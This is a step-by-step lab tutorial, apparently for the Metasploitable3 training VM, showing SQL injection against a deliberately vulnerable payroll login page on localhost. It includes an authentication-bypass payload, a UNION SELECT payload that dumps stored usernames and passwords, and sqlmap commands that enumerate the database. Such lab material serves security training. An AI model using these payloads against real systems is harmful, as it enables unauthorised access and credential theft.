For this tutorial you will need the following tools
* Browser (Prefarably Mozilla)
* Burpsuite
* SQLMap
1. Try and login using the following credentials:
| Field | Value |
| --------- |:--------:|
| USERNAME | admin |
| PASSWORD | admin |
RESULTS: The webpage will display your username and no content
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-1.png "STEP 1")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-1.png "Result 1")
2. Try and login using the following credentials:
| Field | Value |
| --------- |:--------:|
| USERNAME | ' |
| PASSWORD | admin |
RESULTS: The webpage will be blank
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-2.png "STEP 2")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-2.png "RESULT 2")
3. Try and login using the following credentials:
| Field | Value |
| --------- |:--------:|
| USERNAME | ' or 1;#'|
| PASSWORD | admin |
RESULTS: The web page will return all the user content
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-3.png "STEP 2")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-3.png "RESULT 2")
4. Use SQLMap to extract the database using the following commands:
```
sqlmap -u http://127.0.0.1:7000/payroll_app.php --data="user=admin&password=admin&s=OK" -p user --method POST
```
RESULTS: SQLMap will identify whether the web application is vulnerable to SQL Injection
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-4-sqlmap.png "STEP 4")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-4-1.png "RESULT 4")
5. Use SQLMap to extract the columns in the table
```
sqlmap -u http://127.0.0.1:7000/payroll_app.php --data="user=admin&password=admin&s=OK" -p user --method POST --columns
```
RESULTS: SQLMap will retrieve the columns on the application tables
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-5-1.png "STEP 5")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-5-2.png "RESULT 5")
6. Use the column names to retrieve the user credentials:
| Field | Value |
| --------- |:-------------------------------------------:|
| USERNAME | ' or 1 union select 1,username,password,1;#'|
| PASSWORD | admin |
RESULTS: The web page will return the user credentials
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-6.png "STEP 5")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-6-1.png "RESULT 6")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-6-2.png "RESULT 6")
![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-6-3.png "RESULT 6")